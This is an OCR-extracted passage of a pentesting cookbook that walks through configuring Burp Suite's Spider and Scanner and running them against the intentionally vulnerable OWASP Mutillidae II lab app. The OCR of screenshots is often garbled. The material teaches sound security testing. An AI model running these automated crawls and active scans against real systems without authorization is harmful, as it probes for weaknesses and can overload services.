Font; Courier New llpt t Change font ... J

(] Highlight request parameters
(] Highlight response syntax

[ Analyze and display AMF messages {use with caution)

e Character Sets: It provides the ability to change the character sets
determined by Burp to use a specific set or to display as raw bytes:



Character Sets

3 |

L3

These settings control how Burp handles different character sets when displaying raw HTTP messages. Note that some glyphs are not supported by all fonts. If you need to use
an extended or unusual character set, you =hould first try a system font such as Courier New or Dialog.

® Recognize automatically based on meszage headers
() Use the platform default (windows-1252)

() Display as raw bytes

() Use a specific character set: | Bigs |*

e HTML Rendering: It controls how HTML pages will display from the
Render tab available on an HTTP response:

@ HTML Rendering
@ These settings control how Burp handles in-tool rendering of HTML content.

(] Allow renderer to make HTTP requests (for images, etc.)



The Misc tab

Under the Misc tab, a tester has the following options:

e Hotkeys: It lets a user configure hotkeys for commonly-executed
commands:

Hotkeys

These settings let you configure hotkeys for common actions. These include tem-specific actions such as "Send to Repeater”, global actions such as "Switch to Proxy”, and
in-editor actiens such as "Cut” and "Undo™.

® &

Action | Hotkey |

Send to Repeater Cir+R '

Send to Intruder Ctri+l

Forward intercepted Proxy message Ctri+F

Toggle Proxy interception Ciri+T L

Switch to Target Ciri+Shift+T

Switch to Proxy Ctri+Shift+P

Switch to Scanner Ciri+Shift+S

Switeh tn Intruder [trisShifta] 1
i

e Automatic Project Backup [disk projects only]: It provides the ability to
determine how often backup copies of project files are made. By default,
when using Burp Professional, backups are set to occur every 30 minutes:

2) Automatic Project Backup [disk projects only]

L

Automatic project backup saves a copy of the Burp project file periodically in the background.

e Temporary Files Location: It provides the ability to change the location
where temporary files are stored while running Burp:



U Temporary Files Location

@J These settings let you configure where Burp stores s temporary files. Changes will take effect the next tme Burp starts up.

(8 Use defaut systemtemp directory

() Use custom location [ Choose folder .. J

e Proxy Interception: It provides the ability to always enable or always
disable proxy intercept upon initially starting Burp:

12 Proxy Interception
IEJ Thiz =etting controls the state of proxy interception at startup.

Enable interception at startup: () Always enable
® Always disable

() Restore zetting from when Burp was last closed

e Proxy History Logging: It provides the ability to customize prompting of
out-of-scope items when the target scope changes:

(2] Proxy History Logging
ng This setting controls whether adding items to Target scope will autematically set the Proxy option to stop sending out-of-scope items to the history or other Burp tools.

When items are added to Target scope: () Stop sending out-of-scope items to Proxy history and other Burp tools
@® Prompt for action
(U Do nothing

¢ Performance Feedback: It provides anonymous data to PortSwigger
regarding Burp performance:



@& (3

Performance Feedback

“ou can help improve Burp by submitting anonymous feedback about Burp's performance.
[ Submit anonymous feedback about Burp's performance

Feedback only coentains technical information about Burp's internal functioning, and does not identify you in any way. If you do report a bug via email, you can help us diagnose
any problems that your instance of Burp has encountered by including your debug ID.

odxrgmBdlaisih: gh2j Copy

3

x

Debug ID: |5

Report bug




Spidering with Spider

Spidering is another term for mapping out or crawling a web application. This
mapping exercise is necessary to uncover links, folders, and files present within
the target application.

In addition to crawling, Burp Spider can also submit forms in an automated
fashion. Spidering should occur prior to scanning, since pentesters wish to
identify all possible paths and functionality prior to looking for vulnerabilities.

Burp provides an on-going spidering capability. This means that as a pentester
discovers new content, Spider will automatically run in the background looking
for forms, files, and folders to add to Target | Site map.

There are two tabs available in the Spider module of Burp Suite. The tabs
include control and options, which we will study in the Getting ready section of
this recipe.



Getting ready

Using the OWASP Mutillidae IT application found within the OWASP BWA VM,
we will configure and use Burp Spider to crawl through the application.



The Control tab

Under the Control tab, a tester has the following options:

o Spider Status: It provides the ability to turn the spidering functionality on
or off (paused). It also allows us to monitor queued-up Spider requests
along with bytes transferred, and so on. This section allows any forms
queued to be cleared by clicking the Clear queues button:

Use these settings to monitor and control Burp Spider. To begin spidering, browse to the target application, then right-click one or more nodes in the target site map, and choose
“Spider this host / branch™.

l Spider iz paused J l Clear queues |

Requests made: 0
Bytes transferred: 0
Reguests queusd: 0

Forms queued: 0

e Spider Scope: It provides the ability to set the Spider Scope, either based
on the Target | Site map tab or a customized scope:

¥d Spider Scope
LE' ® Use suite scope [defined in Target tab]

i) Use custom scope

If the Use custom scope radio button is clicked, two tables appear,
allowing the tester to define URLSs to be included and excluded from

scope:



Spider Scope

@ () Use suite scope [defined in Target tab)

@® Use custom scope

] Use advanced scope control

Include in scope

—

Add | |Enabled | prefix

—

Edit

E

Paste URL

|

—_—

Load ...

Exclude from scope

—_—

Enabled Prefix

b

Add

Edit

Remove

Paste URL

Load ...




The Options tab

Under the Options tab, a tester has the following options:

e Crawler Settings: It provides the ability to regulate the number of links
deep Spider will follow; also identifies basic web content to Spider for on a
website such as the robots. txt file:

¥4 Crawler Settings

I.EJ These =ettings control the way the Spider crawls for basic web content.
] Check robots. txt
(Y] Detect custom "not found” responses
(¥l Ignore links to non-text content

¥] Request the root of all directories

[¥] Make a non-parameterized request to each dynamic page

Lh

Maximum link depth:

Maximum parameterized reguests per URL: | 50

e Passive Spidering: Spiders newly-discovered content in the background
and is turned on by default:

2] Passive Spidering
lEI Pazsive zpidering monitors traffic through Burp Proxy to update the site map without making any new requests.

(] Passively spider as you browse

Link depth to azsociate with Proxy requestz: |0



¢ Form Submission: It provides the ability to determine how Spider interacts
with forms. Several options are available including ignore, prompt for
guidance, submit with default values found in the table provided, or use an
arbitrary value (for example, 555-555-0199@example . com):



@ Form Submission

@ These seftings control whether and how the Spider submits HTHL forms.

Individuate form by {Ar:thFtL, method and fields |F]

() Dant submi forms
(J Prompt for quidanc

(& Automatically submit using the following rules fo assign tex field values

Add | |Enabed | Machiype | Fedname Fiek vale
I - I A
B @ e meem [
\ 0 Regex 30cil 123456789
RemE | [ Reger age ]
W Regex day 0f |
b @ R o i \
\ 0 Regex year 1980 -
~ Down 0 Reger  passpod 2455738 ﬁ

U] Set unmatched fields fo: | 555-555-0199@example.com

pr—

1] Herate all values of submi fields - max submissions per form: 10




e Application Login: It provides the ability to determine how Spider
interacts with login forms. Several options are available, including ignore,
prompt for guidance, submit as standard form submission, or use
credentials provided in text boxes:

kd Application Login
I.EI These settings control how the Spider submits login forms.

() Don't submit login forms
(& Prompt for guidance
.} Handle as ordinary forms

) Automatically submit these credentials:

e Spider Engine: It provides the ability to edit the number of threads used
along with retry attempt settings due to network failures. Use the number of
threads judiciously as too many thread requests could choke an application
and affect its performance:



Spider Engine

2
LEJ These settings control the engine used for making HTTP requests when spidering.

Number of threads: 10
Number of retries on network failure: 3
Pause before retry (milliseconds): 2000

[] Throttle between requests (milizeconds); |0

[aFelalan =riatinne fn thrmtla
L& 1 L LAY L LLI

¢ Request Headers: It provides the ability to modify the way the HTTP
requests look originating from Burp Spider. For example, a tester can
modify the user agent to have Spider look like a mobile phone:



Request Headers

6 These settings control the request headers used in HTTP requests made by the Spider,

| Add | Accept '
| | Accept-Language: en
it | | User-Agent Hozilals.0 (compatible; HSIE 9.0: Windows NT6.1: WinB4: x64: Trident/5.0)
| Connection: cose
Remove
Up
Down
] sz KTTP version 1.1

() Use Referer header



How to do it...

1. Ensure Burp and OWASP BWA VM are running, and Burp is configured in
the Firefox browser used to view the OWASP BWA applications.

2. From the OWASP BWA landing page, click the link to the OWASP
Mutillidae II application:

owaspbwa

OWASP Broken Web Applications Project

Version 1.2

This is the VM for the Open Web Application Security Project (OWASP) Broken Web Applications project. It contains many, very vulnerable web
applications, which are listed below. More information about this project can be found in the project User Guide and Home Page.

For details about the known vulnerabilities in these applications, see https://sourceforge.net/p/owaspbwaltickets/?limit=999&sort=_severity+asc.

!!! This VM has many serious security issues. We strongly recommend that you run it only
-7 on the "host only" or "NAT" network in the virtual machine settings !!!

TRAINING APPLICATIONS

€ oWASP WebGoat ©0WASP WebGoat NET
@OWASP ESAPI Java SwingSet Interactive
€ OWASP RailsGoat @OWASP Bricks

© oWASP Security Shepherd ©Ghost

@Magical Code Injection Rainbow @M

@Damn Vulnerable Web Application




3. Go to the Burp Spider tab, then go to the Options sub-tab, scroll down to
the Application Login section. Select the Automatically submit these
credentials radio button. Type into the username textbox the word admin;
type into the password textbox the word admin:

Target I Proxy T Spider I scanner T Intruder I Repeater ]

Control | Options ]

2| Application Login
I.EJ These settings control how the Spider submits login form

i) Dont submit login forms
) Prompt for guidance
) Handle as ordinary forms

® Automatically submit these credentials:

U=zername: | admin

Password: |**==

4. Return to Target | Site map and ensure the mutillidae folder is added to
scope by right-clicking the mutillidae folder and selecting Add to scope:



_[Targ-et ] Proxy ] Spider ] Scanner ] Intruder ] Repeate

JSEE map ] SCOpe ]

Fiter: Hiding out of scope and not found tems; hiding CS5, ima

v hitp:1152.168.56.101

[7 mutilidae

| mutilidae

i

» [ documentation
framer.htmi
includes
index.php
javascript
set-up-database.php
webservices

L4

L I
alwlal Tul=

5. Optionally, you can clean up the Site map to only show in-scope items by
clicking Filter: Hiding out of scope and not found items; hiding
CSS, image and general binary content; hiding 4xX responses;
hiding empty folders:

Fiter: Hiding out of scope and not found items; hiding CSS, image and general binary content; hiding 4xx responses, hiding empty folders

6. After clicking Filter: ..., You will see a drop-down menu appear. In this
drop-down menu, check the Show only in-scope items box. Now, click
anywhere in Burp outside of the drop-down menu to have the filter
disappear again:



| Fitter: Hiding out of scope and not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

@ Filter by request type . Fitter by MIME type B Fiter by status code i Folders
@ ﬁ Show only in-scope items | & HTML [ Other text ) 2xx [success] ] Hide empty folders
(] Show only requested items ¥ Script [J Images ¥ 3xx [redirection]
[J Show only parameterized reguests & xmL [ Flash [J 4xx [request error]
@ Hide not-found items O css [ Other binary ) Sxx [server error]
Filter by search term Filter by file extension ) Fiter by annotation

) Show only: | asp.aspx.isp.php [J Show only commented items

[] Regex

[J case sensitive [ Negative search

@ Hide: i e L] show only highlighted items

[ Show all j l Hide all J [ Revert changes J

7. You should now have a clean Site map. Right-click the mutillidae folder
and select Spider this branch.

If prompted to allow out-of-scope items, click Yes.

J Target T Proxy T Spider T scanner T Intruder T Repeater T

I

Fiter: Hiding out of scope and not found items; hiding CS5, image

v http:/192.168.55.101
[ mutilidae [

[~ mutill
» @ | [0 http:i192.168.56.101/mutillidae

» [ do Remove from scope

Spider this branch

Actively =can this branch

ja Passively scan this branch

Y Engagement tools >

YYy
NoReERD

L

Compare site maps

8. You should immediately see the Spider tab turn orange:



_[Targﬂt] Proxy | Spider [

9. Go to the Spider | Control tab to see the number of requests, bytes
transferred, and forms in queue:

| Target | Proxy [Spi-l:ler ] scanner | Intruder | Hepeater

j Control ] Options |

| 2| Spider Status

Use these =ettings to monitor and control Burp Spider. To

| Spider is running | l Clearqueuesj

Requests made: &1
Bytes transferred: 1,798 761
Requestz queued: 0

Forms queued: 0

Let Spider finish running.

10. Notice that Spider logged into the application using the credentials you
provided in the Options tab. On Target | Site map, look for
the /mutillidae/index.php/ folder structure:



_[Target | Proxy I Spider I Scanner T Intruder I

| site map | scope |

Fiter: Hiding not found items; hiding C55, image and genera

¥ | ¢ hitp:M92.168.56.101

v
[0 mutilidae

¥ [Te mutilidae
> @&
» [ documentation

[ framer.htmi

» [ includes

| ¥ & indexphp |

11. Search for an envelope icon that contains password=admin&login-php-

submit-button=Login&username=admin:

171 page=robots-txt.php
[ pag ret-administrative-pages.php
[f! page=set-background-color.php
[/ page=show-log.php
E page=show-log. php&deleteLogs=deleteLogs&popl pMotificationCode=LFD1
[[) page=site-footer-xss-discussion.php
[/1 page=source-viewer.php
[[! page=sqimap-targets.php
[} page=sskmisconfiguration.php
[ page=styling-frame php&page-to-frame=styling.php%3F page-title%3DStyling+with+Mut
[} page=text-file-viewer.php
[/1 page=upload-file.php
E page=usage-instructions.php
[2 pag gent-impersonation.php
[} page=user-info-xpath.php
[} page=user-info.php
[!1 page=user-pol.php
w-someones-blog.php
w-user-priviege-level. php&iv=6bc24fc1ab850b25b4114293a%8f1eba

hp-submit-button=Login&username=admin

Request I Response

Raw | Params | Headers | Hex

POST /mutillidae/index.php?page=login.php HTTRP/L.1
Host: 182.1£8.56.101

Accept-Encoding: gzip, deflace

Accept: */*

Acecept-Langquage: en

User-Agent: Mozilla/5.0 (compatible; MSIE 5.0; Windows NT &£.1; Winéd;

Trident/5.0)

Connection: close

Referer: http://192_1€68.56.101/nutillidae/index.php?page=login.php
Content-Type: application/x-www-form-urlencoded

Content-Length: 5%

Cockie: showhints=l; acopendivids=swingset,jotto,phpbbl, reduine;
acgroupswithpersist=nada; PHPSESSID=upgbfmnlorrmvohdnfdbeSg3lZ

password=adminglogin-php=-submit-button=Loginiusername=adnin I

xE4;

This evidences the information Spider used the information you provided in the
Spider | Options | Application Login section.



Scanning with Scanner

Scanner capabilities are only available in Burp Professional edition.

Burp Scanner is a tool that automates the search for weaknesses within the
runtime version of an application. Scanner attempts to find security
vulnerabilities based on the behavior of the application.

Scanner will identify indicators that may lead to the identification of a security
vulnerability. Burp Scanner is extremely reliable, however, it is the responsibility
of the pentester to validate any findings prior to reporting.

There are two scanning modes available in Burp Scanner:

e Passive scanner: Analyzes traffic passing through the proxy listener. This
is why its so important to properly configure your target scope so that you
aren't scanning more than is necessary.

e Active scanner: Sends numerous requests that are tweaked from their
original form. These request modifications are designed to trigger behavior
that may indicate the presence of vulnerabilities
(https://portswigger.net/kb/issues). Active scanner is focused on input-based
bugs that may be present on the client and server side of the application.

Scanning tasks should occur after spidering is complete. Previously, we learned
how Spider continues to crawl as new content is discovered. Similarly, passive
scanning continues to identify vulnerabilities as the application is crawled.

Under the Options tab, a tester has the following options: Issue activity, Scan
queue, Live scanning, Issue definitions, and Options:

e Issue Activity: It displays all scanner findings in a tabular format; includes
both passive and active scanner issues.:


https://portswigger.net/kb/issues

Target | Proxy ] Spider m Intruder TReoemr T Sequencer Tl:recoder I Comparer T Extender TPmiedopmno IUuer options TAlem ]
lssue activay Jl Scan queve | Live scanning | issue gefintions | Options |
A

8
9

\ Action | Issue type | Host | Path Ingertion point Severity 1
14:50:04 28 Aug 2018 Issue found LF response ial C| hittp:/192.168.56.101 Imutilidae/ Information la
14:50:04 28 Aug 2018 lsgue found Cookie without HitpOnly flag set hitp:#192.168.56.101 Imutilidae/ Low
14:50:04 25 Aug 2018 Issue found Path-relative style sheet import hitp:#1192.168.56.101 Imutilidae/ Information
14:50:04 25 Aug 2018 Issue found i HTML does not specify charset hitp://192.168.56.101 Imutilidae/ Information
15:17:37 28 Aug 2018 lsgue found i Frameable response (potential Clickjacking) hitp:/1192.168.56.101 Imutilidae/index.php Information
15:17:37 28 Aug 2018 Issue found @ Cleartext submission of password hitp:/192.168.56.101 Imutilidaelindex. php High 1
15:17:37 28 Aug 2018 Issue found Password field with autocomplete enabled http:/1192.168.56.101 Imutilidae/index.php Low 1
15:17:37 28 Aug 2018 lssue found Path-relative style sheet import hitp:#/192. 188.56.101 Imutilidaefindex.php Information 1
15:17:37 28 Aug 2018 lssue found i Cross-domain Referer leakage hitp:#192.168.56.101 Imutilidaefindex.php Information P:

B R = T

By selecting an issue in the table, the message details are displayed,
including an advisory specific to the finding as well as message-editor
details related to the request and response:

Target | Proxy | Spiter | Scanner | mtrucer | Repeater | Sequencer | Decoder | Comparer | Extender | Project optons | User optons | Aters |

Issue activity | Scan queue I Live scanning I Issue defintions Iopuns ]

g st i e i :
8 14500428 Aug 2018 lssue found i_Frameable response (potentisl Chckjacking) hitp://192,168.56.101 Imutlidae/ Information |

L
1 Frameable response (potential Clickjacking)

Issue: F [+ ial Clickjackit
Severity Information

Confidence: Firm

Host hitp/192.168.56.101

Path Imutillidae’

Issue description

If a page fails to set an appropriate X-Frame-Options or Content-Security-Policy HTTP header, & might be possible for a page controlled by an attacker to load & within an iframe. This may enable a clickjacking attack, in which the attacker's page overlays
the target application’s interface with a different interface provided by the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application
that is being targeted. This technigue allows the attacker to circumvent defenses against cross-sie request forgery, and may result in unauthorized actions.

Note that some apphcations attempt to prevent these attacks from within the HTML page Eself, using “framebusting™ code. However, this type of defense is normally ineffective and can usually be circumvented by a skiled attacker.

You should determine whether any functions accessible within frameable pages can be used by application users to perform any sensitive actions within the application

Issue remediation

To effectively prevent framing attacks, the appiication should return a response header with the name X-Frame-Options and the value DENY to prevent framing akogether, or the value SAMEORIGIN to aliow framing only by pages on the same origin
as the response iseif. Noie that the SAMEORIGIN header can be partially bypassed if the appication iself can be made to frame unirusted websies.

¢ Scan queue: Displays the status of active scanner running; provides a
percentage of completion per number of threads running as well as number
of requests sent, insertion points tested, start time, end time, targeted host,
and URL attacked.

Scanner can be paused from the table by right-clicking and selecting
Pause scanner; likewise, scanner can be resumed by right-clicking and
selecting Resume Scanner. Items waiting in the scan queue can be
cancelled as well:



[ Target | Proxy [ Spderl m! intruder ] Repeater ISeqmzm:ar i Decoder I Comparer Tﬁxtenner T Project options I User options i Ahns.
i Issue activity [l Scan queue Wl Live scanning Ilssuedefniians ]Opﬁons |

# 4 Host URL Status Issues Requests Errors Insertion points Start time End time:
1 http:192.168.56.101 Imutilidae/ 0% complete 15 4 03:43:57 29 Aug 2018
2 htip://192 168.56.101 Imutilidae/ 0% complete 15 ] 03:43:57 29 Aug 2018
3 hitp:/192.168.56.101 imutilidae/ 0% complete 18 ] 03:43:57 29 Aug 2018
4 hitp:A1192.168.56.101 L 1 -On-Xam 0% complete 13 8 03:43:57 29 Aug 2018
5 hitp:1f192.168.56.101 Imutilidae/ framer htmi 11% complete 96 8 03:43:57 29 Aug 2018
] hitp:1/192.168.56.101 Imutikdae/includes/pop-up-help-context-generator php 0% complete 2 -] 03:43:57 28 Aug 2018
T hitp:/192. 168 56.101 imutilidae/includes/pop-up-heip-context-generator.php 0% complete 12 10 03:43:57 29 Aug 2018
8 hiip//1192.168.56.101 pop-up-help-contexi-generatorphp 0% complete 13 10 03:43:57 29 Aug 2018

¢ Live Active Scanning: It allows customization when active scanner will
perform scanning activities:

[Target T Proxy T Spider ]'Sc:anner I Intruder I Repeater I Sequencer T Decoder I Comparer I Extender I Project options I User options TAIerts ]

[ lzsue activity T Scan queus T Live scanning T lzsue defintions T Options ]

7| Live Active Scanning
O Automatically scan the following targets as you browse. Active scan checks send various malicious requests designed to identify common vulnerabilties. Use with caution.

@ Don'tscan
(U Use suite scope [defined in Target tab]

(U Use custom scope

e Live Passive Scanning: It allows customization when passive scanner will

perform scanning activities. By default, passive scanner is always on and
scanning everything:

?| Live Passive Scanning
O Automatically scan the following targets as you browse. Passive scan checks analyze your existing traffic for evidence of vulnerabilties, and do not send any new reguests to the target.

() Don'tscan
@ Scan everything
(L) Use suite =cope [defined in Target tab]

() Use custom scope

¢ Issue definitions: It displays definitions for all vulnerabilities known to
Burp scanners (active and passive). The list can be expanded through
extenders but, using Burp core, this is the exhaustive listing, which includes
title, description text, remediation verbiage, references, and severity level:



[Target Proxy | Spider | Scanner T Intruder T Repeater I Sequencer I Decoder T Comparer I Extender I Project options T User options | Alerts

[ Issue activity I Scan queus I Live scanning Tlssuedefmtinns I Options ]

Issue Definitio

This listing contains the definitions of all issues that can be detected by Burp Scanner.

Name A | Typical severity | Type index |
ASP.NET ViewState without WAC enabled Low 0x00400800 [a| | ASP.NET Vie e without MAC enat
ASP.NET debugging enabled Medium 0x00100800
ASP.NET tracing enabled High 0x00100280 Description
A foquc Reaics mapitalion {1IOM Sicxcd) Low 0x00500c00 The ViewState is a mechanism buit in to the ASP.NET platform for persisting elements of the user interface and other data across
Ajax request header manipulation (reflected DOM-based) Low 0x00500c01 &
successive requests. The data to be persisted is serialized by the server and transmitted via a hidden form field. When it is posted
Alax request header manipuation (stored DOM-based) Low 0xD0500c02 back to the server, the ViewState parameter is deserialized and the data is retrieved.
Base64-encoded data in parameter Information 0x00700200
Browser cross-site scripting fiter disabled Information 0x005009b0 By defautt, the serialized value is signed by the server to prevent tampering by the user; however, this behavior can be disabled
CSS injection (reflected) Medium 0x00501300 by setting the Page EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the
CSS injection (stored) Medium 0x00501301 ViewState and cause arbitrary data to be deserialized and processed by the server. If the ViewState contains any items that are
Cacheable HTTPS response Information 0x00700100 /|| critical to the server's processing of the request, then this may result in a security exposure.
Cleartext submission of password High 0x00300100
Client-side HTTP parameter pollution (reflected) Low 0x00501400 The contents of the deserialized ViewState should be reviewed to determine whether it contains any critical items that can be
Client-side HTTP parameter pollution (stored) Low 0x00501401 manipulsiod to attack the appication.
Client-side JSON injection (DOM-based) Low 0x00200370
Client-side JSON injection (reflected DOM-based) Low 0x00200371 Remediation
Client-side JSON injection (stored DOM-based) Low 0x00200372 " % ¥
.
Client-side SQL injection (reflected DOM-based) High 0x00200331 urrantly signed ¥
Client-side SQL injection (stored DOM-based) High 0x00200332
Client-side XPath injection (DOM-based) Low 0x00200360
Client-side XPath injection (reflected DOM-based) Low 0x00200361 Vulnerability classifications
Client-side XPath injection (stored DOM-based) Low 0x00200362
Client-side template injection High 0x00200308 @ CWE-642: External Control of Critical State Data
Content type incorrectly stated Low 0x00800400
Content type is not specified Information 0x00800500 Typical severity
Cookie manipulation (DOM-based) Low 0x00500000
Cookie manipulation (reflected DOM-based) Low 0x00500b01 Low

e Options: Several sections are available, including Attack Insertion Points,
Active Scanning Engine, Attack Scanning Optimization, and Static code
analysis.

o Attack Insertion Points: It allows customization for Burp insertion
points; an insertion point is a placeholder for payloads within different
locations of a request. This is similar to the Intruder payload marker
concept discussed in Chapter 2, Getting to Know the Burp Suite of
Tools:



| Target | proxy | Spider | Scanner | ntuder | Repeater | Sequencer | Decoder | Comparer | Extender | rojectoptons | user options | Aerts |

| ssue activty | Scan queue | Live scanning | issue defintions | options |

@ Attack Insertion Points

@ Place attacks into the following locations within requests:

[ URL parameter values

() Body parameter values

[ Cookie parameter values

[¥) Parameter name

() HTTP headers

() Entire body (for relevant content types)
(L] AMF string parameters (use with caution)
() URL path filename

[ URL path folders

Change parameter locations (causes many more scan requests):

U URLtobody [ URL to cookie
(] Bodyto URL (] Body to cookie
(J Cookie to URL (J Cookie to body

Nested insertion points are used when an insertion point's base value contains data in a recognized format (for example, XML data within a URL parameter):

[ Use nested insertion points

Maximum insertion points per base request. | 30

Skip server-side injection tests for these parameters:

[ Add J Enabled | Parameter ftem |Matd1 type Expression
— ] Cookie Name Matches regex aspsessionid * A
I Edit # Cookie Name Is asp.net_sessionid
e @ Body parameter  Name Is __eventtarget
I Remove @  Bodyparameter Name s __eventargument »
€] Body parameter  Name Is __viewstate
& Body parameter  Name Is __eventvalidation
@  Anyparameter  Name Is jsessionid %
Skip all tests for these parameters:
[ Add J Enabled | Parameter em | Match type | Expression
I Edit
| Remove >




Recommendations here include adding the URL-to-body, Body-
to-URL, cookie-to-URL, URL-to-cookie, body-to-cookie, and
cookie-to-body insertion points when performing an assessment.
This allows Burp to fuzz almost, if not all, available parameters in
any given request.

o Active Scanning Engine: It provides the ability to configure the
number of threads (for example, Concurrent request limit) scanner will
run against the target application. This thread count, compounded with
the permutations of insertion points, can create noise on the network
and a possible DOS attack, depending upon the stability of the target
application. Use caution and consider lowering the Concurrent request
limit. The throttling of threads is available at this configuration section
as well:

(2) Active Scanning Engine

@; These settings control the engine used for making HTTP requests when doing active scanning.

Concurrent request limit: 10
Number of retries on network failure: 3
Pause before retry (miliseconds): 2000

|_J Throttle between requests (miliseconds):

(] Follow redirections where necessary

o Attack Scanning Optimization: It provides three settings for scan
speed and scan accuracy.
m Available Scan speed settings include Normal, Fast, and
Thorough. Fast makes fewer requests and checks derivations of
issues. Thorough makes more requests and checks for derivations



of issues. Normal is the medium setting between the other two
choices. The recommendation for Scan speed is Thorough.

m Available Scan accuracy settings include Normal, Minimize false
negatives, and Minimize false positives. Scan accuracy relates to
the amount of evidence scanner requires before reporting an
issue. The recommendation for Scan accuracy is Normal:

2 Active Scanning Optimization

@ These settings et you control the behavior of the active scanning logic to reflect the objectives of the scan and the nature of the target application. See the

Scan speed: \ Normal TJ

Scan accuracy: | Normal 'J

) Use inteligent attack selection

o Static Code Analysis: It provides the ability to perform static analysis
of binary code. By default, this check is performed in active scanner:

Sta

?
)

o These settings control the types of scanning that will include static analysis of executable code. Note that static analysis can consume large amounts of memory and processing, and 5o it may be desirable to restrict static analysis to key targets
= ofinterest

@ Active scanning only
() Active and passive scanning

QO Don't perform static code analysis

Maximum analysis time per item (seconds): | 120

¢ Scan Issues: It provides the ability to set which vulnerabilities are tested
and for which scanner (that is, passive or active). By default, all
vulnerability checks are enabled:



@ Scan Issues
@ These settings control which issues Burp will check for. You can select issues by scan type or individually. If you select individual issues, you can also select the detection methods that are used for some types of issues.

® Select by scan type:
& Passive
@ Light active
@ Medium active
@ Intrusive active
@ Static code analysis

© Select individual issues:

Y Fiter  Passive  Light  Medum  trusive | Static B search... |
Enabled | Name Passive |Light  |Medum |intrusive |Static | Typicalseve..|Typeindex | Detection methods |

€4 Unidentified code injection '] High 0x00101000 E

£ Server-side template injection L] High 0x00101080

) SSlinjection L] High 0x00101100 All methods enabled

£ Cross-site scripting (stored) L] High 0x00200100 All methods enabled

£ HTTP response header injection L] High 0x00200200

/) Cross-site scripting (reflected) L High 0x00200300 Al methods enabled

v Client-side template injection L] High 0x00200308 »>

v Cross-site scripting (DOM-based) L] L High 0x00200310

4 Cross-site scripting (reflected DOM... L] L] High 0x00200311

4 Cross-site scripting (stored DOM-b... L] L] High 0x00200312

J) JavaScript injection (DOM-based) L] L] High 0x00200320

) JavaScript injection (reflected DOM-... L] [ ] High 0x00200321

/] JavaScript injection (stored DOM-ba... L] L] High 0x00200322

) Path-relative style sheet import L] Information 0x00200328

) Client-side SQL injection (DOM-bas... L] L] High 0x00200330

) Client-side SQL injection (reflected ... L] L] High 0x00200331 .




Getting ready

Using the OWASP Mutillidae IT application found within the OWASP BWA VM,
we will begin our scanning process and monitor our progress using the Scan

queue tab.



How to do it...

Ensure Burp and OWASP BWA VM is running while Burp is configured in the
Firefox browser used to view the OWASP BWA applications.

From the OWASP BWA landing page, click the link to the OWASP Mutillidae II
application:

1. From the Target | Site map tab, right-click the mutillidae folder and select
Passively scan this branch. The passive scanner will hunt for vulnerabilities,
which will appear in the Issues window:



_[ T-argﬂT Proxy T.Spider T Scanner T Intruder T Repeater T

_[Setemap T Scope ]

Fitter: Hiding out of scope and not found items; hiding CS5, image and

¥ | @ hitp:/192.168.56.101

(1 mutilidae

[ mutilidae

> &/ [ @ http:1192.168.56.101/mutillidae

» [ documer Remove from scope
D-" framer.h Spider this branch

» | g includes _ |

» i index.ph Actively scan this branch

» [ & javascrig Passively scan this branch

» &b level-1-h Engagement tools b
D;; set-up-d

Compare site maps

» [ g websen
Expand branch

2. From the Target | Site map tab, right-click the mutillidae folder and select
Actively scan this branch:



rTalrgettt T Proxy I Spider I.Scanner I Intruder I Repeater I

rE.itﬁmﬂm T =cope ]

Fitter: Hiding out of scope and not found tems; hiding CSS, image and

¥ [ @ hitp://192.168.56.101
[ mutilidae
"o mutilidae
21 e hittp:/[192.168.56.101/mutillidae
» [ docume

Do framer.

. r—. include: spider this branch
B ﬁ index.p Actively scan this branch

Remove from scope

> | b javascr Passively scan this branch

> &b level-1- Engagement tools 2
I__B set-u

. |'—'I wehse Compare site maps

3. Upon initiating the active scanner, a pop-up dialog box appears prompting
for removal of duplicate items, items without parameters, items with media
response, or items of certain file types. This pop-up is the Active scanning
wizard. For this recipe, use the default settings and click Next:



m Active scanning wizara h O X

2

You have selected 104 items for active scanning. Before continuing, you can use the fiters below to remove certain categories of
tems, to make your scanning more targeted and efficient.

() Remove duplicate items (same URL and parameters) [52 tems]
Remove items already scanned (same URL and parameters) [all 104 tems]
Remove out-of-scope tems [0 tems]

(] Remove tems with no parameters [17 tems]

() Remove items with media responses [0+ items]

(] Remove tems with the following extensions [6 tems]

js,gif jpg,png,css

Note: Some of the selected tems do not yet have responses. If you choose to remove items with media rezponses, some of these
tems may be removed from the scan when their responses have been analyzed.

{ C&nceIJ { Mext]

Verify all paths shown are desired for scanning. Any undesired file types or
paths can be removed with the Remove button. Once complete, click OK:



B Active scanning wizard E O X

? Review the tems you have selected for scanning. Double-click tems to view full details. You can remave individual tems which you
do not wish to 3can, or go back to modify your general fiters.

Host A Method | URL | Params | Coi
hitp://192.168.56.101 GET Imutilidas/ 0 0|k
hitp:/i192.168.56.101 GET Imutilidae/?page=add-to-vour-blog.php 1 0 M\
hitp:/1152.168.56.11 GET Imutilidae/documentation/mutilidae-installation-on-xam... 0 0 J
hitp:/192.168.56.101 GET Imutilidae/framer. html 0 0
hitp:i152.168.56.101 GET Imutilidae/includes/pop-up-help-context-generatorphp 0 0
hitp:i152.168.56.101 GET Imutilidae/includes/pop-up-help-context-generator ph... 1 0
hitp:/1152.168.56.11 GET Imutilidas/index. php 0 0
hitp:/i192.168.56.101 GET Imutilidae/index. php?do=logout 1 0
hitp:/152.168.56.101 GET Imutilidae/index. php?do=toggle-bubble-hints&page=fo.. 2 0 |‘;
U ) L
32 tems [ Remove J [ Revert J

Note: You have selected to remove items with media responses. Some of the above tems do not yet have responses and so may
be removed from the scan when their responses have been analyzed.

Back @

You may be prompted regarding the out-of-scope items. If so, click Yes
to include those items. Scanner will begin.

5. Check the status of scanner by looking at the Scanner queue tab:

[Target I Proxy T Spider TSr.anner T Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Project options I User options T Alerts ]

Issue activity | Scan queue T Live scanning T Issue definitions T Options ]

# 4| Host | URL | Status lssues Requests | Errors Insertion points
54 hitp://192.168.56.101 Imutilidae/w ebservices/soap/ws-hello-world.php finished 567 9
55  hitp:/192.168.56.101 Imutilidae/ 0% complete 38 4
56 http:/192.168.56.101 Imutilidae/ 0% complete 38 9
57 hitp:/i192.168.56.101 Imutilidae/ 0% complete 38 9
58 http:/1192.168.56.101 Imutilidae/decumentation/mutilidae-installation-on-xam... 0% complete 21 8
